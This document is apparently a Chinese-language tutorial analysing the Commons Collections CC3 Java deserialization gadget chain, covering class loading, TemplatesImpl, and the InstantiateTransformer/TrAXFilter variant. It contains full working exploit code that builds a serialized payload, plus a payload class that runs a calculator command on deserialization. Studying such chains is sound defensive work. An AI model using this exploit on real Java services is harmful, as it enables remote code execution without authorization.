类加载
把.java文件编译为.class文件,把字节码中的二进制数据读入到内存中,将其放在运行时数据区的方法区内,然后在堆区创建一个java.lang.Class对象,用来封装类在方法区内的数据结构。类的加载的最终产品是位于堆区中的Class对象,Class对象封装了类在方法区内的数据结构,并且向Java程序员提供了访问方法区内的数据结构的接口。
加载class的方式
1.从本地系统中直接加载
2.通过网络下载.class文件
3.从zip,jar等归档文件中加载.class文件
4.从专有数据库中提取.class文件
5.将Java源文件动态编译为.class文件(动态代理生成的及jsp转换为servlet)
类加载过程
类的加载的方式
由关键字new创建一个类的实例
通过Class.forName()方法动态加载
通过ClassLoader.loadClass()方法动态加载
CC3 是通过动态类加载的方式执行代码,执行的过程,初始化代码。
寻找入口点
在ClassLoader().loadClass();
loadClass 会调defineClass
类加载的过程即是ClassLoader() loadClass() defineClass() 执行代码,需要寻找一个初始化的点,这里从defineClass寻找 public的可重写的方法
TemplatesImpl类
这个类在上篇Fastjson不出网利用总结有提到,本篇会大致分析下在cc中的利用方法
在TemplatesImpl发现了这个defineClass类,没有修饰符,默认在本包中调用,接着寻找
在getTransletInstance发现了defineTransletClasses,并进行了初始化 newInstance()
这里的还是使用private进行修饰,接着找public
最终在这里找到公有方法,这条链的流程大致如下
newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()
攻击调用
TemplatesImpl templates = new TemplatesImpl(); templates.newTransformer();
首先利用这个类,需要一些参数,点击newTransformer,486行有三个参数,参数默认为null,不写也可以执行
接着跟进getTransletInstance方法,判断name参数,为null就返回,这个参数需要写进去,判断class参数为null,则调用defineTransletClasses函数,上面分析了流程,所以这里的class参数不写,就可以进行调用defineTransletClasses
在接着跟进defineTransletClasses
bytecodes需要赋值,否则爆出异常
401行的方法里_tfactory需要调用一个get方法,查看变量,在readObject是一个new函数。
在414行会调用defineClass,方法中有个_bytecodes,查看变量是一个二维数组,前面的class是一个一维数组,在最早的defineClass方法中需要传递一个字节数组,在目前的流程就分析完成,接下来写代码进行测试
编写poc
TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); // name参数 Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); // bytecodes参数 Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); // 两个数组 从文件读字节码 byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); // _tfactory Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); templates.newTransformer();
shell.java
import java.io.IOException; public class shell { static { try { Runtime.getRuntime().exec("open -a calculator"); } catch (IOException e) { e.printStackTrace(); } } }
运行报错,打断点调试
找到问题点了,当前位置已经加载shell类,然后判断这个shell类的父类要等于这个常量,跟进常量,是一个抽象类
修改shell类,继承AbstractTranslet,并重写两个方法
再次执行
使用cc1的前半部分利用链
TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); // name参数 Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); // bytecodes参数 Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); // 两个数组 从文件读字节码 byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); // _tfactory Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); //templates.newTransformer(); Transformer[] transformer = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformer); chainedTransformer.transform(1);
TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); // name参数 Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); // bytecodes参数 Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); // 两个数组 从文件读字节码 byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); // _tfactory Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); //templates.newTransformer(); Transformer[] transformer = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformer); // chainedTransformer.transform(1); //遍历map HashMap<Object,Object> hashedMap = new HashMap(); hashedMap.put("value","aaa"); Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer); // 反射引用AnnotationInvocationHandler Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class, map); //序列化 //serializable(o); unserializable("ser.bin");
InstantiateTransformer类
ysoserial中使用了InstantiateTransformer进行调用,跟进这个构造方法,需要传递两个参数,数组和对象
再跟进newTransformer
发现TrAXFilter构造方法直接传递templates,并直接调用newTransformer
TrAXFilter没有继承反序列化接口,XMLFilterImpl也没有,但是获取class可以进行反序列化
那么最终的利用链如下
前半部分和cc1的一样,只不过是把InvokerTransformer替换为InstantiateTransformer
InstantiateTransformer() -> TrAXFilter() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()
最终exp
package com.test.cc; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.TransformedMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); // name参数 Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); // bytecodes参数 Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); // 两个数组 从文件读字节码 byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); // 创建instantiateTransformer InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); // 调用TrAXFilter.class Transformer[] transformer = new Transformer[]{ new ConstantTransformer(TrAXFilter.class),instantiateTransformer }; // 动态代理 ChainedTransformer chainedTransformer = new ChainedTransformer(transformer); //遍历map HashMap<Object,Object> hashedMap = new HashMap(); hashedMap.put("value","aaa"); Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer); // 反射引用AnnotationInvocationHandler Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class, map); //序列化 // serializable(o); unserializable("ser.bin"); } public static void serializable(Object o) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } public static Object unserializable(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } }